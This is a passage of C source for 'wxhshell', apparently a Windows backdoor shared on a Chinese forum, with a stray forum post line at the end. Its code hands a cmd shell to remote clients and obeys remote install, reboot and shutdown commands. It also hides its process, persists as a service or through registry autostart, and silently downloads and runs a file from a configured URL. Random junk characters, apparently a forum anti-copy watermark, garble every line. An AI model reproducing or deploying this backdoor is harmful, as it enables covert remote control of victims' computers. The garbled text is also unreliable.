  case '?': { !rff/0/x"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 40%<E  
    break; c.}#.-b8  
  } z7R2viR[  
  // 安装 n7L|XkaQ  
  case 'i': { 4M P8t@z  
    if(Install()) TiD|.a8S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1B~[L 5p9  
    else 5?|yYQM0tK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hx8.  
    break; !CR#Fyt+9  
    } d*l2x[8}g-  
  // 卸载 , nW)A/?}  
  case 'r': { w-LaSJ(T  
    if(Uninstall()) CM;B{*En  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ) h=[7}|  
    else cnj32H^+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =21m|8c  
    break; abg` : E  
    } *@g>~q{`  
  // 显示 wxhshell 所在路径 Vj6 w7hz  
  case 'p': { l]S%k&  
    char svExeFile[MAX_PATH]; ?fQ8Ff  
    strcpy(svExeFile,"\n\r"); hSG1f`  
      strcat(svExeFile,ExeFile); +Os9}uKf  
        send(wsh,svExeFile,strlen(svExeFile),0); t<MO~_`!  
    break; bCV_jR+  
    } bOD] `*q  
  // 重启 hZ-?-F?*@  
  case 'b': { #^xj"}o@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )jm!^m  
    if(Boot(REBOOT)) ]4]AcJj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =L*-2cE6#  
    else { Z*YS7 ~  
    closesocket(wsh); n,`j~.l-=>  
    ExitThread(0); 3Hf_!C=g  
    } HEF\TH9  
    break; !%/(a)B$^$  
    } mLDuizWI  
  // 关机 ozW\`  
  case 'd': { OXF/4Oe  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =J'&.@Dwz  
    if(Boot(SHUTDOWN)) Pp`[E/ qj4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CB`GiH/j  
    else { :]9CdkaU  
    closesocket(wsh); .-GC,&RO  
    ExitThread(0); S>y}|MG  
    } iO7s zi  
    break; CRu {Ie5B  
    } (= W u5H  
  // 获取shell =,Z5F`d4  
  case 's': { H Em XB=  
    CmdShell(wsh); Wcki=ac\v!  
    closesocket(wsh); x| r#  
    ExitThread(0); .qrS[ w  
    break; G' mg-{  
  } na_Wp^;  
  // 退出 t""d^a#Dp  
  case 'x': { yQ| V7G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E51S#T  
    CloseIt(wsh);  yHn8t]{  
    break; qEM,~:lTn  
    } hI,+J>  
  // 离开  Vsd4;  
  case 'q': { B* k|NZj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 34 I Cn~  
    closesocket(wsh); C5~ +"#B  
    WSACleanup(); A\|:hzu+  
    exit(1); ?~ /_&=NSx  
    break; {0 L)B{|  
        } N'YQ6U  
  } `: 9n ]xP  
  } F{laA YE  
;n.SRy6  
  // 提示信息 VN]j*$5   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o_cAelI[!  
} xmHW,#%ui\  
  } 3 ]w a8|  
o^Qy71Uj  
  return; '25zb+ -  
} <=@6UPsn2  
Xw&vi\*m  
// shell模块句柄 QsyM[;\j:  
int CmdShell(SOCKET sock) m.c2y6<=  
{ X)S4vqf}  
STARTUPINFO si; Kc+TcC  
ZeroMemory(&si,sizeof(si)); tD> qHR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $LOf2kn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n\u3$nGL1`  
PROCESS_INFORMATION ProcessInfo; ~{q; - &  
char cmdline[]="cmd"; i7\MVI 8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;TboS-Y  
  return 0; 56H~MnX  
} oWBjPsQ  
0r]-Ltvl?}  
// 自身启动模式 0[ZwtfL1  
int StartFromService(void) U\dLq&=V  
{ Z._%T$8aJv  
typedef struct 4Q~++PKBe  
{ a@m  64l)  
  DWORD ExitStatus; +HoCG;C{  
  DWORD PebBaseAddress; bM"d$tl$?'  
  DWORD AffinityMask; Y.E]U!i*  
  DWORD BasePriority; ai;-_M+$  
  ULONG UniqueProcessId; 7A{,)Y/w ^  
  ULONG InheritedFromUniqueProcessId; p)s *Cw  
}   PROCESS_BASIC_INFORMATION; DS0:^TLI  
CykvTV Q  
PROCNTQSIP NtQueryInformationProcess; T*](oA@  
7mnZ,gpb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #ib?6=sPC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cCqmrjUmV  
As(6E}{S  
  HANDLE             hProcess; G<`6S5J>hr  
  PROCESS_BASIC_INFORMATION pbi; }a!c  
8jz7t:0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2E@g#:3  
  if(NULL == hInst ) return 0; lLN5***47J  
[y(<1]i-a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T)MZ`dM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ab>>W!r@!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LNF|mS\+D  
{emym$we  
  if (!NtQueryInformationProcess) return 0; x, #?  
3($tD*!o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]~\%ANoi  
  if(!hProcess) return 0; _p0G8  
3mT6HGSKR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1=mb2A  
p s_o:*$l  
  CloseHandle(hProcess); 7:n OAN}%  
#Wely~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D}nIF7r2N  
if(hProcess==NULL) return 0; "(vm0@8><  
VIuzBmR|\  
HMODULE hMod; i:x<Vi  
char procName[255]; 'nfdOX.d  
unsigned long cbNeeded; B }  
=A<a9@N}N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -x+K#T0Z  
d ZxrIWx  
  CloseHandle(hProcess); 2(25IYMS8  
w %R=kY)o  
if(strstr(procName,"services")) return 1; // 以服务启动 %( #kJZ  
.]ZMxDZ  
  return 0; // 注册表启动 /v7o!D1G  
} no7Q%O9  
A<[BR*n  
// 主模块 5XinZ~  
int StartWxhshell(LPSTR lpCmdLine) o| 9Mj71  
{ i=\`f& B  
  SOCKET wsl; oTk?a!Q  
BOOL val=TRUE; 8 G:f[\^  
  int port=0; O{wt0 \P  
  struct sockaddr_in door; 'h`)6{  
H+ 7Fw'u  
  if(wscfg.ws_autoins) Install(); YeVkX{y  
>?r8D48`  
port=atoi(lpCmdLine); $uYfy<  
0[7tJbN  
if(port<=0) port=wscfg.ws_port; !^qpV7./l  
lnt}l  
  WSADATA data; #BhcW"@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U] av{}U  
M6z$*? <  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Imz1"+E~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C ,#D4  
  door.sin_family = AF_INET; sdXZsQw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FXFyF*w2  
  door.sin_port = htons(port); 1_5]3+r_U-  
~~{+?v6B]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z{A~d  
closesocket(wsl); @K}Bll.E  
return 1; '%KaAi$  
} 9&'HhJm  
{hBnEj^@  
  if(listen(wsl,2) == INVALID_SOCKET) { .12H/F  
closesocket(wsl); vec4R )S  
return 1; $DhW=(YM_a  
} {@ Z%6%'9  
  Wxhshell(wsl); *&$2us0%%  
  WSACleanup(); b2UqN]{  
JjnWv7W3$  
return 0; k:*vD"  
gi<%: [jT  
} <Eh_  
WU{9lL=  
// 以NT服务方式启动 |/~ISB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pU[5f5_  
{ oU)3du   
DWORD   status = 0; l'kVi  
  DWORD   specificError = 0xfffffff; YguY5z  
T!QAcO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {i/7Nx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tJ Mm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }W5~89"  
  serviceStatus.dwWin32ExitCode     = 0; I$JyAj  
  serviceStatus.dwServiceSpecificExitCode = 0; _E4_k%8y  
  serviceStatus.dwCheckPoint       = 0; ;6{{hc4  
  serviceStatus.dwWaitHint       = 0; s1 (UOd7}  
jF|LPWl  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $im6v  
  if (hServiceStatusHandle==0) return; 0hCUr]cZ,  
/H :Bu  
status = GetLastError(); H<ZXe!q(nx  
  if (status!=NO_ERROR) RW^e#z>m"E  
{ |snWO0iF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c<imqDf  
    serviceStatus.dwCheckPoint       = 0; z?.XVk-  
    serviceStatus.dwWaitHint       = 0; - e_B  
    serviceStatus.dwWin32ExitCode     = status; /R[P sB  
    serviceStatus.dwServiceSpecificExitCode = specificError; EL;OYW(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]vZ}4Xno  
    return; M nDa ag  
  } \_AoG8B  
XrN]}S$N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vfOG(EkG.?  
  serviceStatus.dwCheckPoint       = 0; T,5(JP(h3  
  serviceStatus.dwWaitHint       = 0; NU.YL1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o;'-^ LJ  
} z i3gE$7  
Jp +h''t  
// 处理NT服务事件,比如:启动、停止 Ql? >,FZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F7U$ 7(I2G  
{ HC(o;,spO  
switch(fdwControl) JwcC9 O  
{ RgLkAHA  
case SERVICE_CONTROL_STOP: JeU1r-i  
  serviceStatus.dwWin32ExitCode = 0; b%|6y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Pt?d+aBtV  
  serviceStatus.dwCheckPoint   = 0; $QJ,V~  
  serviceStatus.dwWaitHint     = 0; 4\(|V fy  
  { 9DaoM OPEI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hXQo>t-$  
  } |k=5`WG  
  return; Lr<?eWdCwJ  
case SERVICE_CONTROL_PAUSE: rwY{QBSf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z]=9=S| .4  
  break; >(eR0.x  
case SERVICE_CONTROL_CONTINUE: [_zoJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o`7B@]  
  break; `&g1`vg  
case SERVICE_CONTROL_INTERROGATE: Cp^%;(@  
  break; iK9#{1BpML  
}; y+P$}Nru  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {#H'K*j{  
} 7` IO mTk  
bC%}1wwh  
// 标准应用程序主函数 bVYsPS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I8LoXY  
{ A:,R.P>`C  
*sq+ Vc(  
// 获取操作系统版本 UszR. Z  
OsIsNt=GetOsVer(); XMm (D!6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vL~j6'  
 ){xMMQ5  
  // 从命令行安装 & 6~AY :0r  
  if(strpbrk(lpCmdLine,"iI")) Install(); G-W(giF;NO  
uG 7ll5Yy  
  // 下载执行文件 :hUt7/3c  
if(wscfg.ws_downexe) { 9Q:}VpT~nG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .$s=E8fW  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6x"|,,&MD0  
} $jL+15^N0+  
~A-VgBbU>_  
if(!OsIsNt) { eLyaTOZadu  
// 如果时win9x,隐藏进程并且设置为注册表启动 _43 :1!os  
HideProc(); znu [i&\=  
StartWxhshell(lpCmdLine); J)_IfbY  
} 99&PY[f:{  
else MI*@^{G  
  if(StartFromService()) T.iVY5^<  
  // 以服务方式启动 1iIag}?p  
  StartServiceCtrlDispatcher(DispatchTable); Q)l~?Fx  
else 6Z68n  
  // 普通方式启动 d> L*2 g  
  StartWxhshell(lpCmdLine); }ygxmb^@Z  
I=o/1:[-  
return 0; L6"?p-:@'  
}
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只看该作者 1 发表于: 2006-10-10
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